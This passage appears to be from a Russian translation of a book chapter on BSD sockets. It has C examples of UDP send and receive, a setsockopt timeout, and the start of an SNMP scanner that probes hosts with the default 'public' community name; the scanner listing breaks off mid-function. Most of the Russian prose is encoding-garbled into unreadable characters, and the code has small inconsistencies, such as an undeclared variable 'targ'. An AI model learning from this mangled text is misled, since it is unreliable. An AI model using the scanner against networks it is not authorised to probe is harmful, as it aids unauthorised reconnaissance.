 9  */

10
11 #include <stdio.h>

12
13 #include <sys/socket.h>

14 #include <netinet/in.h>

15 #include <arpa/inet.h>

16
17 #define UDP2_DST_ADDR "127.0.0.1"

18 #define UDP2_DST_PORT 1234

19
20 int

21 main(void)

22 {

23   struct sockaddr_in sin;

24   char buf[100];

25   int  sock = 0;
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26   int  ret  = 0;

27
28   sock = socket(AF_INET, SOCK_DGRAM, 0);

29   if(sock < 0)

30   {

31      printf("îøèáêà socket().\n");

32      return(1);

33    }

34
35    memset(&sin, 0x0, sizeof(sin));

36
37    sin.sin_family      = AF_INET;

38    sin.sin_port        = htons(UDP2_DST_PORT);

39    sin.sin_addr.s_addr = inet_addr(UDP2_DST_ADDR);

40
41    ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));

42    if(ret < 0)

43    {

44       printf("îøèáêà connect().\n");

45       return(1);

46    }

47
48    memset(buf, 'A', 100);

49
50    ret = send(sock, buf, 100, 0);

51    if(ret != 100)

52    {

53       printf("îøèáêà send().\n");

54       return(1);

55    }

56
57    close (sock);

58    printf("send() çàâåðøèëàñü óñïåøíî.\n");

59
60    return(0);

61 }

Компиляция
obsd32# gcc -o udp2 udp2.c

Пример исполнения
obsd32# ./udp2
send() çàâåðøèëàñü óñïåøíî.

Ïðîãðàììà udp2.c áàçèðóåòñÿ íà êîäå äëÿ ðàáîòû ñ ñîêåòàìè èç ïðèìåðà
udp1.c. Äîïîëíèòåëüíî â íåé ïîêàçàíî, êàê íàäî îáúÿâëÿòü è èíèöèàëèçèðî-
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âàòü ñòðóêòóðó sockaddr_in è êàê ïîñûëàòü UDP-äàòàãðàììû ñ ïîìîùüþ ôóí-
êöèè send().

Анализ

� Â ñòðîêå 15 âêëþ÷àåòñÿ ôàéë arpa/inet.h, ñîäåðæàùèé ïðîòîòèïû ôóíê-
öèé ïðåîáðàçîâàíèÿ àäðåñîâ IPv4 â òî÷å÷íî-äåñÿòè÷íóþ íîòàöèþ è îá-
ðàòíî.

� Â ñòðîêàõ 17 è 18 ñ ïîìîùüþ äèðåêòèâ ïðåïðîöåññîðà îïðåäåëÿþòñÿ
IP-àäðåñ è ïîðò ïîëó÷àòåëÿ, òî åñòü êîíå÷íàÿ òî÷êà, â êîòîðóþ áóäóò
íàïðàâëÿòüñÿ UDP-äàòàãðàììû.

� Â ñòðîêàõ 23–26 îáúÿâëÿþòñÿ ëîêàëüíûå ïåðåìåííûå. Â ñòðóêòóðó sin
òèïà struct sockaddr_in áóäåò ïîìåùåí IP-àäðåñ è ïîðò ïîëó÷àòåëÿ.

� Â ñòðîêàõ 27–32 ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ UDP-ñîêåò.
Ïðîöåäóðà íå îòëè÷àåòñÿ îò âñòðåòèâøåéñÿ â ïðèìåðå 3.4.

� Â ñòðîêàõ 37 â ïîëå sin_family ñòðóêòóðû sin ïîìåùàåòñÿ êîíñòàíòà
AF_INET, îïðåäåëÿþùàÿ àäðåñíîå ñåìåéñòâî. Ïðè ðàáîòå ñ ïðîòîêî-
ëîì UDP âñåãäà ñëåäóåò çàäàâàòü èìåííî ýòî ñåìåéñòâî.

� Â ñòðîêå 38 â ïîëå sin_port çàïèñûâàåòñÿ íîìåð óäàëåííîãî ïîðòà, â êî-
òîðûé äîëæíà áûòü äîñòàâëåíà äàòàãðàììà. Ïðåäâàðèòåëüíî íîìåð
ïîðòà ïåðåäàåòñÿ ôóíêöèè htons(), êîòîðàÿ ïðåîáðàçóåò áàéòû öåëîãî
÷èñëà â ñåòåâîé ïîðÿäîê, ÷òîáû îáåñïå÷èòü ïåðåíîñèìîñòü. Ïî îïðåäå-
ëåíèþ, ñåòåâîé ïîðÿäîê – ýòî «big-endian» (ñòàðøèé áàéò ñëåâà). Ïî-
ýòîìó, íà êîìïüþòåðàõ, ãäå öåëûå ÷èñëà èçíà÷àëüíî ïðåäñòàâëåíû
â òàêîì âèäå, ôóíêöèÿ htons() íè÷åãî íå äåëàåò. Åñëè æå ìàøèííûé
ïîðÿäîê – «l ittle-endian» (ñòàðøèé áàéò ñïðàâà), òî  îíà ïåðåñòàâëÿåò
ìëàäøèé è ñòàðøèé áàéòû.

� Â ñòðîêå 39 àäðåñ ïîëó÷àòåëÿ, çàäàííûé â òî÷å÷íî-äåñÿòè÷íîé íîòà-
öèè, ïðåîáðàçóåòñÿ â áåççíàêîâîå öåëîå ÷èñëî ñ ïîìîùüþ ôóíêöèè
inet_addr(), ïîñëå ÷åãî çàïèñûâàåòñÿ â ïîëå sin_addr.s_addr ñòðóêòóðû
sockaddr_in. Ôóíêöèÿ inet_addr() âîçâðàùàåò öåëîå áåç çíàêà, ïðåäñòàâ-
ëåííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ïîëó÷èâ íà âõîäå íåêîððåêòíûé àä-
ðåñ, ôóíêöèÿ âåðíåò êîíñòàíòó INADDR_NONE, ÿâëÿþùóþñÿ ïðèçíà-
êîì îøèáêè.

� Â ñòðîêå 41 âûçûâàåòñÿ ôóíêöèÿ connect(), êîòîðàÿ àññîöèèðóåò ñ ñîêå-
òîì àäðåñ, çàäàííûé â ñòðóêòóðå sockaddr_in. Åñëè îíà çàâåðøèòñÿ óñ-
ïåøíî, òî ìîæíî ïðèñòóïàòü ê îáìåíó äàííûìè ÷åðåç ñîêåò, êîòîðûé
ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà íå âîçíèêíåò îøèáêà èëè îäíà èç ñòîðîí
íå âûçîâåò ôóíêöèþ close(). Â ñëó÷àå îøèáêè connect() âåðíåò –1.

� Â ñòðîêå 48 áóôåð ðàçìåðîì 100 áàéòîâ çàïîëíÿåòñÿ ñèìâîëàìè A. Ýòî
äàííûå, êîòîðûå ìû îòïðàâèì ïîëó÷àòåëþ ÷åðåç ñîêåò.

Клиенты и серверы для протокола UDP



162 Глава 3. BSD�сокеты

� Â ñòðîêå 50 äëÿ îòïðàâêè äàííûõ âûçûâàåòñÿ ôóíêöèÿ send(). Åå ïåð-
âûé ïàðàìåòð – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – óêàçàòåëü íà áóôåð, ñî-
äåðæàùèé äàííûå, òðåòèé – ðàçìåð ýòîãî áóôåðà â áàéòàõ. ×åòâåðòûé
ïàðàìåòð ìîæåò ñîäåðæàòü ðàçëè÷íûå ôëàãè, êîòîðûå â äàííîì ïðè-
ìåðå íå èñïîëüçóþòñÿ. Ôóíêöèÿ send() â ñëó÷àå óñïåõà âîçâðàùàåò ÷èñ-
ëî îòïðàâëåííûõ áàéòîâ, à â ñëó÷àå îøèáêè – îòðèöàòåëüíîå ÷èñëî.

Â ïðèìåðå 3.6 äåìîíñòðèðóåòñÿ îòïðàâêà UDP-äàòàãðàììû, êîãäà IP-àäðåñ
è íîìåð ïîðòà çàäàþòñÿ âî âðåìÿ âûïîëíåíèÿ.

Пример 3.6. Пример 3.6. Пример 3.6. Пример 3.6. Пример 3.6. Отправка UDP*датаграммы функцией sendto() (udp3.c)
 1 /*

 2  * udp3.c

 3  *

 4  * îòïðàâêà UDP-äàòàãðàììû ÷åðåç ñîêåò

 5  * ñ ïîìîùüþ ôóíêöèè sendto().

 6  * Ïðèìåð 3.

 7  *

 8  * foster <jamescfoster@gmail.com>

 9  */

10
11 #include <stdio.h>

12
13 #include <sys/socket.h>

14 #include <netinet/in.h>

15 #include <arpa/inet.h>

16
17 #define UDP3_DST_ADDR "127.0.0.1"

18 #define UDP3_DST_PORT 1234

19
20 int

21 main(void)

22 {

23   struct sockaddr_in sin;

24   char buf[100];

25   int  sock = 0;

26   int  ret  = 0;

27
28   sock = socket(AF_INET, SOCK_DGRAM, 0);

29   if(sock < 0)

30   {

31      printf("îøèáêà socket().\n");

32      return(1);

33   }

34
35   memset(&sin, 0x0, sizeof(sin));

36
37   sin.sin_family      = AF_INET;
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38   sin.sin_port        = htons(UDP3_DST_PORT);

39   sin.sin_addr.s_addr = inet_addr(UDP3_DST_ADDR);

40
41   memset(buf, 'A', 100);

42
43   ret = sendto(sock, buf, 100, 0,

44                (struct sockaddr *) &sin, sizeof(sin));

45   if(ret != 100)

46   {

47      printf("îøèáêà sendto().\n");

48      return(1);

49   }
50
51   close(sock);

52   printf("sendto()çàâåðøèëàñü óñïåøíî.\n");

53
54   return(0);

55 }

Компиляция
obsd32# gcc -o udp3 udp3.c

Пример исполнения
obsd32# ./udp3
sendto() çàâåðøèëàñü óñïåøíî.

Анализ

Â ïðîãðàììå udp3.c ïîêàçàí àëüòåðíàòèâíûé ñïîñîá îòïðàâêè äàííûõ: ñ ïîìî-
ùüþ ôóíêöèè sendto(). Âìåñòî òîãî ÷òîáû îäèí ðàç çàäàòü IP-àäðåñ è íîìåð
ïîðòà, âûçâàâ connect(), ìû çàäàåì èõ ïðè êàæäîì âûçîâå sendto(), ïåðåäàâàÿ
â êà÷åñòâå ïÿòîãî ïàðàìåòðà óêàçàòåëü íà ñòðóêòóðó sockaddr_in. Òåì ñàìûì
åäèíñòâåííûé äåñêðèïòîð ìîæíî èñïîëüçîâàòü äëÿ îáìåíà äàííûìè ñ ðàç-
íûìè õîñòàìè. Ôóíêöèÿ sendto() ïîëåçíà, êîãäà äàííûå íóæíî ïîñûëàòü ðàç-
íûì ïîëó÷àòåëÿì, íàïðèìåð, ïðè ðåàëèçàöèè ñêàíåðà, ðàáîòàþùåãî ïî ïðî-
òîêîëó UDP.

Åäèíñòâåííîå îòëè÷èå ïðèìåðà udp3.c îò udp2.c â òîì, ÷òî îòñóòñòâóåò âû-
çîâ connect(), à âìåñòî send() âûçûâàåòñÿ sendto(). Â ïðèìåðå 3.7 äåìîíñòðè-
ðóåòñÿ ïðèåì UDP-äàòàãðàììû ñ ïîìîùüþ ôóíêöèè recvfrom().

Пример 3.7. Пример 3.7. Пример 3.7. Пример 3.7. Пример 3.7. Прием UDP*датаграммы (udp4.c)
1 /*

2  * udp4.c
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 3  *

 4  * ïðèåì UDP-äàòàãðàììû ñ ïîìîùüþ

 5  * ôóíêöèè recvfrom().

 6  * Ïðèìåð 4.

 7  *

 8  * foster <jamescfoster@gmail.com>

 9  */

10
11 #include <stdio.h>

12
13 #include <sys/socket.h>

14 #include <netinet/in.h>

15
16 #define UDP4_PORT 1234

17
18 int

19 main(void)

20 {

21   struct sockaddr_in sin;

22   char buf[100];

23   int  sock = 0;

24   int  ret  = 0;

25
26   sock = socket(AF_INET, SOCK_DGRAM, 0);

27   if(sock < 0)

28   {

29      printf("îøèáêà socket().\n");

30      return(1);

31   }

32
33   memset(&sin, 0x0, sizeof(sin));

34
35   sin.sin_family      = AF_INET;

36   sin.sin_port        = htons(UDP4_PORT);

37   sin.sin_addr.s_addr = INADDR_ANY;

38
39   ret = bind(sock, (struct sockaddr *) &sin, sizeof(sin));

40   if(ret < 0)

41   {

42      printf("îøèáêà bind().\n");

43      return(1);

44   }
45
46   ret = recvfrom(sock, buf, 100, 0, NULL, NULL);
47   if(ret < 0)

48   {

49      printf("îøèáêà recvfrom().\n");

50      return(1);

51   }
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52
53   close (sock);

54   printf("recvfrom() çàâåðøèëàñü óñïåøíî.\n");

55
56   return(0);

57 }

Компиляция
obsd32# gcc -o udp4 udp4.c

Пример исполнения
obsd32# ./udp4 &
[1] 18864

obsd32# ./udp3
recvfrom() çàâåðøèëàñü óñïåøíî.
sendto() çàâåðøèëàñü óñïåøíî.

[1] + Done ./udp4

Ýòà ïðîãðàììà ñîçäàåò UDP-ñîêåò, ïðèâÿçûâàåò åãî ê ïîðòó 1234 è æäåò ïî-
ñòóïëåíèÿ îäíîé äàòàãðàììû. Â ïðèìåðå âûïîëíåíèÿ ìû ñíà÷àëà çàïóñêàåì
udp4, à çàòåì udp3. Ïðîãðàììà udp3 îòïðàâëÿåò åäèíñòâåííóþ äàòàãðàììó udp4.

Анализ

� Â ñòðîêàõ 13 è 14 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû sys/socket.h è netinet/in.h.
� Â ñòðîêå 16 îïðåäåëÿåòñÿ ïîðò (1234), ê êîòîðîìó áóäåò ïðèâÿçàí ñîêåò.
� Â ñòðîêå 26 ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò òî÷íî òàê æå,

êàê è â ïðåäûäóùèõ ïðèìåðàõ.
� Â ñòðîêàõ 32–36 â ñòðóêòóðó sockaddr_in çàïèñûâàþòñÿ IP-àäðåñ è íîìåð

ïîðòà ëîêàëüíîé îêîíå÷íîé òî÷êè. Ïîëÿ sin_family è sin_port çàïîëíÿ-
þòñÿ êàê è ðàíüøå. Â ïîëå sin_addr.s_addr çàïèñûâàåòñÿ êîíñòàíòà
INADDR_ANY, êîòîðàÿ ãîâîðèò, ÷òî â ñîêåò äîëæíû íàïðàâëÿòüñÿ äà-
òàãðàììû, ïîñòóïèâøèå íà ëþáîé ñåòåâîé èíòåðôåéñ äàííîãî êîìïüþ-
òåðà. Òàê, åñëè êîìïüþòåð îáîðóäîâàí äâóìÿ ñåòåâûìè èíòåðôåéñà-
ìè, òî ñîêåò ïðèâÿçûâàåòñÿ ê îáîèì. Ïðè æåëàíèè ñîêåò ìîæíî
ïðèâÿçàòü ê êîíêðåòíîìó èíòåðôåéñó, äëÿ ýòîãî íóæíî çàíåñòè â ïîëå
sin_addr.s_addr íàçíà÷åííûé åìó IP-àäðåñ.

� Â ñòðîêå 39 ôóíêöèÿ bind() ïðèâÿçûâàåò ñîêåò ê îêîíå÷íîé òî÷êå, îï-
ðåäåëÿåìîé ñîäåðæèìûì ñòðóêòóðû sockaddr_in. Ïåðâûé ïàðàìåòð
bind() – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – àäðåñ ñòðóêòóðû sockaddr_in,
êîòîðûé äîëæåí áûòü ïðèâåäåí ê òèïó struct sockaddr. Òðåòèé ïàðàìåòð
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äîëæåí ñîäåðæàòü äëèíó ñòðóêòóðû sockaddr_in â áàéòàõ. Åñëè bind() çà-
âåðøèòñÿ óñïåøíî, îíà âåðíåò 0, â ñëó÷àå îøèáêè – îòðèöàòåëüíîå çíà-
÷åíèå.

� Â ñòðîêå 46 âûçûâàåòñÿ ôóíêöèÿ recvfrom() äëÿ ïðèåìà îäíîé äàòàãðàì-
ìû. Åå ïåðâûì ïàðàìåòðîì ÿâëÿåòñÿ äåñêðèïòîð ðàíåå ïðèâÿçàííîãî
ñîêåòà, âòîðûì – óêàçàòåëü íà ìàññèâ ñèìâîëîâ, â êîòîðûé áóäóò ïîìå-
ùåíû ïðèíÿòûå äàííûå, òðåòüèì – äëèíà ýòîãî ìàññèâà â áàéòàõ. ×åò-
âåðòûì ïàðàìåòðîì ìîæåò áûòü àäðåñ ñòðóêòóðû sockaddr_in, ïðèâåäåí-
íûé ê òèïó struct sockaddr, à ïÿòûì – óêàçàòåëü íà öåëîå ÷èñëî, ñîäåðæà-
ùåå äëèíó ñòðóêòóðû sockaddr_in â áàéòàõ. Åñëè ÷åòâåðòûé è ïÿòûé
ïàðàìåòð çàäàíû (íå ðàâíû NULL), òî â ýòó ñòðóêòóðó sockaddr_in áóäóò
ïîìåùåíû IP-àäðåñ è ïîðò îòïðàâèòåëÿ äàòàãðàììû.

� Â ñòðîêå 53 ñîêåò âûçûâàåòñÿ ôóíêöèÿ close(), êîòîðàÿ çàêðûâàåò ñîêåò,
ïîñëå ÷åãî îí óæå íå ìîæåò èñïîëüçîâàòüñÿ äëÿ ïðèåìà äàííûõ.

Опции сокетов
Â ñîñòàâ API BSD-ñîêåòîâ âõîäèò ìíîãî ôóíêöèé äëÿ îòïðàâêè è ïðèåìà äàí-
íûõ. Õîòÿ èõ äåéñòâèé ïî óìîë÷àíèþ äîñòàòî÷íî äëÿ ðåàëèçàöèè òèïè÷íîé
ôóíêöèîíàëüíîñòè, èíîãäà ïðèõîäèòñÿ èçìåíÿòü íåêîòîðûå àñïåêòû ðàáîòû
ñîêåòîâ. Äëÿ ýòîãî ñëóæèò ôóíêöèÿ setsockopt().

Ýòà ôóíêöèÿ ïîçâîëÿåò ìåíÿòü ïàðàìåòðû íà ðàçíûõ óðîâíÿõ ñòåêà ïðîòî-
êîëîâ. Åñëè ðå÷ü èäåò î ñåìåéñòâå AF_INET, òî ìîæíî ìîäèôèöèðîâàòü ïî-
âåäåíèå êàê ñàìîãî ñîêåòà, òàê è ïðîòîêîëîâ UDP, TCP, ICMP è òàê äàëåå.

×àùå âñåãî îïöèè ïðèìåíÿþòñÿ äëÿ èçìåíåíèÿ ïàðàìåòðîâ ñàìîãî ñîêå-
òà. Ìîæíî çàäàòü ïðàâèëà îáðàáîòêè îøèáîê, ðàçìåðû áóôåðîâ, èíòåðïðåòà-
öèþ àäðåñîâ è ïîðòîâ, à òàêæå âåëè÷èíû òàéìàóòîâ ïðè ïðèåìå è ïåðåäà÷å
äàííûõ. Èç âñåõ âûøåïåðå÷èñëåííûõ âîçìîæíîñòåé îáû÷íî èñïîëüçóåòñÿ
îïöèÿ SO_RCVTIMEO äëÿ çàäàíèÿ òàéìàóòà ïðè ÷òåíèè äàííûõ ôóíêöèÿìè
read(), recv() è recvfrom().

Ïî óìîë÷àíèþ ôóíêöèè read(), recv() è recvfrom() âûïîëíÿþò áëîêèðóþ-
ùåå ÷òåíèå, òî åñòü ôóíêöèÿ áóäåò æäàòü äî òåõ ïîð, ïîêà â ñîêåò íå ïîñòóïÿò
äàííûå èëè íå ïðîèçîéäåò îøèáêà. Òàêîå ïîâåäåíèå íåæåëàòåëüíî, åñëè
ïðîãðàììà äîëæíà âûïîëíèòü íåêîòîðîå äåéñòâèå, êîãäà äàííûå íå ïîñòóïà-
þò âîâðåìÿ. Òóò-òî è ïðèõîäèò íà ïîìîùü îïöèÿ SO_RCVTIMEO, êîòîðàÿ
ïîçâîëÿåò óêàçàòü, ñêîëüêî âðåìåíè ñîêåò ìîæåò æäàòü äàííûõ, ïðåæäå ÷åì
âåðíóòü óïðàâëåíèå âûçûâàþùåé ïðîãðàììå. Â ïðèìåðå 3.8 ïîêàçàíî, êàê ñ
ïîìîùüþ ôóíêöèè setsockopt() óñòàíîâèòü îïöèþ SO_RCVTIMEO äëÿ UDP-
ñîêåòà.
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Пример 3.8. Пример 3.8. Пример 3.8. Пример 3.8. Пример 3.8. Установка опций сокета с помощью функции setsockopt()
 1 /*

 2  * makeudpsock()

 3  *

 4  *

 5  */

 6 int makeudpsock (char *dst, unsigned short port)

 7 {

 8   struct sockaddr_in sin;

 9   struct timeval tv;

10   unsigned int taddr = 0;

11   int sock = 0;

12   int ret = 0;

13
14   taddr = inet_addr(targ);

15   if(taddr == INADDR_NONE)

16   {

17     printf("îøèáêà inet_addr().\n");

18     return(-1);

19   }

20
21   sock = socket(AF_INET, SOCK_DGRAM, 0);

22   if(sock < 0)

23   {

24     printf("îøèáêà socket().\n");

25     return(-1);

26   }

27
28   memset(&sin, 0x0, sizeof(sin));

29
30   sin.sin_family      = AF_INET;

31   sin.sin_port        = htons(port);

32   sin.sin_addr.s_addr = taddr;

33
34   ret = connect(sock, (struct sockaddr *) &sin,

35                 sizeof(sin));

36   if(ret < 0)

37   {

38     printf("îøèáêà connect().\n");

39     return(-1);

40   }

41
42   memset(&tv, 0x00, sizeof(tv));

43
44   tv.tv_sec = 10;

45
46   ret = setsockopt(sock, SOL_SOCKET,

47                    SO_RCVTIMEO, &tv, sizeof(tv));

48   if(ret < 0)

Опции сокетов
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49   {

50     printf("îøèáêà setsockopt().\n");

51     return(-1);

52   }

53
54   return(sock);
55 }

Â ýòîì ïðèìåðå ñ ïîìîùüþ ôóíêöèé socket() è connect() ñîçäàåòñÿ è àññîöè-
èðóåòñÿ ñ óäàëåííîé îêîíå÷íîé òî÷êîé UDP-ñîêåò. Çàòåì âûçûâàåòñÿ ôóíê-
öèÿ setsockopt(), êîòîðàÿ çàäàåò âåëè÷èíó òàéìàóòà ïðè ïðèåìå äàííûõ.
Ýòà âåëè÷èíà ïðåäâàðèòåëüíî çàïèñûâàåòñÿ â ñòðóêòóðó timeval. Ôóíêöèÿ
makeudpsock() âîçâðàùàåò äåñêðèïòîð âíîâü ñîçäàííîãî ñîêåòà.

Анализ

� Â ñòðîêàõ 7–39 ñ ïîìîùüþ ôóíêöèé socket() è connect() ñîçäàåòñÿ íîâûé
ñîêåò. Ýòà ïðîöåäóðà óæå ðàññìàòðèâàëàñü âûøå;

� Â ñòðîêàõ 45 è 46 âûçûâàåòñÿ ôóíêöèÿ setsockopt(). Ïåðâûì ïàðàìåòðîì
åé ïåðåäàåòñÿ äåñêðèïòîð ñîêåòà, äëÿ êîòîðîãî íóæíî çàäàòü îïöèè.
Âòîðîé ïàðàìåòð – ýòî óðîâåíü ïðîòîêîëà, íà êîòîðîì äåéñòâóþò çàäà-
âàåìûå îïöèè. Â äàííîì ñëó÷àå êîíñòàíòà SOL_SOCKET ñîîáùàåò, ÷òî
çàäàåòñÿ îïöèÿ íà óðîâíå ñàìîãî ñîêåòà. Òðåòèé ïàðàìåòð – ýòî ñîá-
ñòâåííî îïöèÿ; ìû óêàçàëè öåëî÷èñëåííóþ êîíñòàíòó SO_RCVTIMEO.
×åòâåðòûé è ïÿòûé ïàðàìåòðû ôóíêöèè çàâèñÿò îò òîãî, êàêîé óðîâåíü
è îïöèÿ ïåðåäàíû ñîîòâåòñòâåííî âî âòîðîì è òðåòüåì ïàðàìåòðàõ.
Â ñëó÷àå SOL_SOCKET è SO_RCVTIMEO â ÷åòâåðòîì ïàðàìåòðå ñëåäóåò
çàäàòü óêàçàòåëü íà ñòðóêòóðó timeval è åå ðàçìåð â áàéòàõ. Ïîëÿ tv_sec è
tv_usec ýòîé ñòðóêòóðû çàäàþò ÷èñëî ñåêóíä è ìèêðîñåêóíä â çíà÷åíèè
òàéìàóòà.

Примечание

Чтобы задать опции на уровне протокола IP, вместо константы
SOL_SOCKET нужно указать IPPROTO_IP. Протоколу UDP соответствует
константа IPPROTO_UDP, а протоколу TCP – константа IPPROTO_TCP.
Константы, определяющие уровень и имена опций, находятся в заго�
ловочных файлах sys/socket.h и netinet/in.h.
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Сканирование сети
с помощью UDP�сокетов
Â ýòîì ðàçäåëå ìû ðàññìîòðèì ïîëíóþ ïðîãðàììó, êîòîðàÿ, ïîëüçóÿñü ïðî-
òîêîëîì UDP è API ñîêåòîâ, ðåàëèçóåò ñêàíèðîâàíèå èìåí ñîîáùåñòâ (com-
munity name), îïðåäåëåííûõ â ïðîòîêîëå SNMP (Simple Network Management
Protocol – ïðîñòîé ïðîòîêîë óïðàâëåíèÿ ñåòüþ). Ïðîòîêîë SNMP øèðîêî ðàñ-
ïðîñòðàíåí è ïðèìåíÿåòñÿ äëÿ ïîëó÷åíèÿ è çàäàíèÿ ðàçëè÷íûõ ïàðàìåòðîâ
êîìïüþòåðîâ è óñòðîéñòâ, ïîäêëþ÷åííûõ ê ñåòè. Äëÿ ýòîãî óçëó ïîñûëàþòñÿ
êîìàíäû SNMP GetRequest è SetRequest, èíêàïñóëèðîâàííûå â UDP-äàòàãðàììû.

Äëÿ ïîëó÷åíèÿ ïàðàìåòðà õîñò-îòïðàâèòåëü ïîñûëàåò õîñòó-ïîëó÷àòåëþ
êîìàíäó GetRequest. Ïîëó÷àòåëü ïðîâåðÿåò êîððåêòíîñòü çàïðîñà è âîçâðàùà-
åò îòïðàâèòåëþ â ñîñòàâå UDP-äàòàãðàììû îòâåò GetResponse âìåñòå ñ äàííû-
ìè èñõîäíîãî çàïðîñà. Â ñëó÷àå æå çàïðîñà SetRequest ïîëó÷àòåëü ïðîâåðÿåò
åãî êîððåêòíîñòü è âíîñèò íåîáõîäèìûå èçìåíåíèÿ â êîíôèãóðàöèþ.

Ïîëó÷àòü èëè èçìåíÿòü ìîæíî ðàçíîîáðàçíûå ïàðàìåòðû, â òîì ÷èñëå
èìÿ óäàëåííîãî õîñòà, IP-àäðåñ è ñòàòèñòèêó. Ïðîãðàììà, ðåàãèðóþùàÿ íà
SNMP-çàïðîñû, íàçûâàåòñÿ àãåíòîì ïðîòîêîëà SNMP. Àãåíò ïðèâÿçûâàåò ñâîé
ñîêåò ê ïîðòó 161 è îæèäàåò ïîñòóïëåíèÿ çàïðîñîâ GetRequest è SetRequest. Òðå-
áóåòñÿ, ÷òîáû â ïîëó÷åííîì çàïðîñå áûëî çàäàíî èìÿ ñîîáùåñòâà, èçâåñòíîå
àãåíòó SNMP. Îíî ñëóæèò àíàëîãîì ïàðîëÿ, ïîñêîëüêó çàïðîñû, íå ñîäåðæà-
ùåãî êîððåêòíîãî èìåíè ñîîáùåñòâà, èãíîðèðóþòñÿ.

Íà íàøå ñ÷àñòüå, áîëüøèíñòâî ïðîãðàìì-àãåíòîâ ïîñòàâëÿþòñÿ ñ ïðåäâà-
ðèòåëüíî  ñêîíôèãóðèðîâàííûì èìåíåì ñîîáùåñòâà «publ ic». Ïîýòîìó ìû
ìîæåò óçíàòü î íàëè÷èè â ñåòè ìíîæåñòâà óñòðîéñòâ, ïîääåðæèâàþùèõ ïðî-
òîêîë SNMP. Â ïðèìåðå 3.9 äåìîíñòðèðóåòñÿ, êàê ñ ïîìîùüþ UDP-ñîêåòîâ
ìîæíî îòïðàâèòü çàïðîñ GetRequest äëÿ ïîëó÷åíèÿ èìåíè óäàëåííîãî õîñòà è
ïðèíÿòü ñîîòâåòñòâóþùèé îòâåò.

Пример 3.9. Пример 3.9. Пример 3.9. Пример 3.9. Пример 3.9. Сканер SNMP (snmp1.c)
 1 /*

 2  * snmp1.c

 3  *

 4  * Ñêàíåð snmp scanner. Ïðèìåð 1.

 5  *

 6  * foster <jamescfoster@gmail.com>

 7  */

 8
 9 #include <stdio.h>

10 #include <stdlib.h>

11 #include <unistd.h>
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12 #include <string.h>

13 #include <ctype.h>

14
15 #include <sys/socket.h>

16 #include <netinet/in.h>

17 #include <arpa/inet.h>

18
19 #define SNMP1_DEF_PORT 161

20 #define SNMP1_DEF_COMN "public"

21
22 #define SNMP1_BUF_SIZE 0x0400

23
24 /*

25  * hexdisp()

26  *

27  *

28  */

29 void hexdisp (char *buf, int len)

30 {

31   char tmp[16];

32   int  x = 0;

33   int  y = 0;

34
35   printf("\n");

36
37   for(x=0; x < len; ++x)

38   {

39     tmp[x % 16] = buf[x];

40
41     if((x + 1) % 16 == 0)

42     {

43       for(y=0; y < 16; ++y)

44       {

45         printf("%02X ", tmp[y] & 0xFF);

46       }

47       for(y=0; y < 16; ++y)

49       {
50         printf("%c", isprint(tmp[y]) ?

51                      tmp[y] : '.');

52       }

53       printf("\n");

54     }

55   }

56
57   if((x % 16) != 0)

58   {

59     for(y=0; y < (x % 16); ++y)

60     {

61       printf("%02X ", tmp[y] & 0xFF);
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 62    }
 63
 64     for(y=(x % 16); y < 16      ; ++y)

 65   {
 66      printf("   ");
 67    }
 68
 69     for(y=0; y < (x % 16); ++y)

 70    {
 71      printf("%c", isprint(tmp[y]) ? tmp[y] : '.');
 72    }
 73  }
 74
 75  printf("\n");
 76 }
 77
 78 /*
 79  * makegetreq()
 80  *
 81  *
 82  */
 83
 84 #define SNMP1_PDU_HEAD  "\x30\x00\x02\x01\x00\x04"
 85 #define SNMP1_PDU_TAIL  "\xa0\x1c\x02\x04\x7e\x16\xa2\x5e" \
 86                         "\x02\x01\x00\x02\x01\x00\x30\x0e" \
 87                         "\x30\x0c\x06\x08\x2b\x06\x01\x02" \
 88                         "\x01\x01\x05\x00\x05\x00"
 89
 90 int makegetreq (char *buf, int blen, int *olen, char *comn)
 91 {
 92  int hlen = sizeof(SNMP1_PDU_HEAD) – 1;
 93  int tlen = sizeof(SNMP1_PDU_TAIL) – 1;
 94  int clen = strlen(comn);
 95  int len  = 0;
 96
 97  len = hlen + 1 + clen + tlen;
 98  if(len > blen)
 99  {
100    printf("íåäîñòàòî÷íî ìåñòà â áóôåðå (%d,%d).\n",
101           blen, len);
102    return(-1);
103  }
104
105  memset(buf, 0x00, blen);
106  memcpy(buf, SNMP1_PDU_HEAD, hlen);
107  memcpy(buf + hlen + 1, comn, clen);
108  memcpy(buf + hlen + 1 + clen, SNMP1_PDU_TAIL, tlen);
109
110  buf[0x01] = 0x23 + clen;
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111  buf[hlen] = (char) clen;
112
113  *olen = len;
114
115  return(0);
116}
117
118 /*
119  * dores()
120  *
121  *
122  */
123 int dores (int sock)
124 {
125   char buf[SNMP1_BUF_SIZE];
126   int ret = 0;
127
128   ret = recvfrom(sock, buf, SNMP1_BUF_SIZE, 0, NULL, NULL);
129   if(ret < 0)
130   {
131     printf("îøèáêà recv().\n");
132     return(-1);
133   }
134
135   hexdisp(buf, ret);
136
137   return(0);
138 }
139
140 /*
141  * doreq()
142  *
143  *
144  */
145 int doreq (int sock, char *comn)
146 {
147   char buf[SNMP1_BUF_SIZE];
148   int len = 0;
149   int ret = 0;
150
151   ret = makegetreq(buf, SNMP1_BUF_SIZE, &len, comn);
152   if(ret < 0)
153   {
154     printf("îøèáêà makegetreq().\n");
155     return(-1);
156   }
157
158   hexdisp(buf, len);
159
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160   ret = send(sock, buf, len, 0);
161   if(ret != len)
162   {
163     printf("îøèáêà send().\n");
164     return(-1);
165   }
166
167   return(0);
168 }
169
170 /*
171  * makeudpsock()
172  *
173  *
174  */
175 int makeudpsock (char *targ, unsigned short port)
176 {
177   struct sockaddr_in sin;
178   unsigned int taddr = 0;
179   int sock = 0;
180   int ret = 0;
181
182   taddr = inet_addr(targ);
183   if(taddr == INADDR_NONE)
184   {
185     printf("îøèáêà inet_addr().\n");
186     return(-1);
187   }
188
189   sock = socket(AF_INET, SOCK_DGRAM, 0);
190   if(sock < 0)
191   {
192     printf("îøèáêà socket().\n");
193     return(-1);
194   }
195
196   memset(&sin, 0x0, sizeof(sin));
197
198   sin.sin_family      = AF_INET;
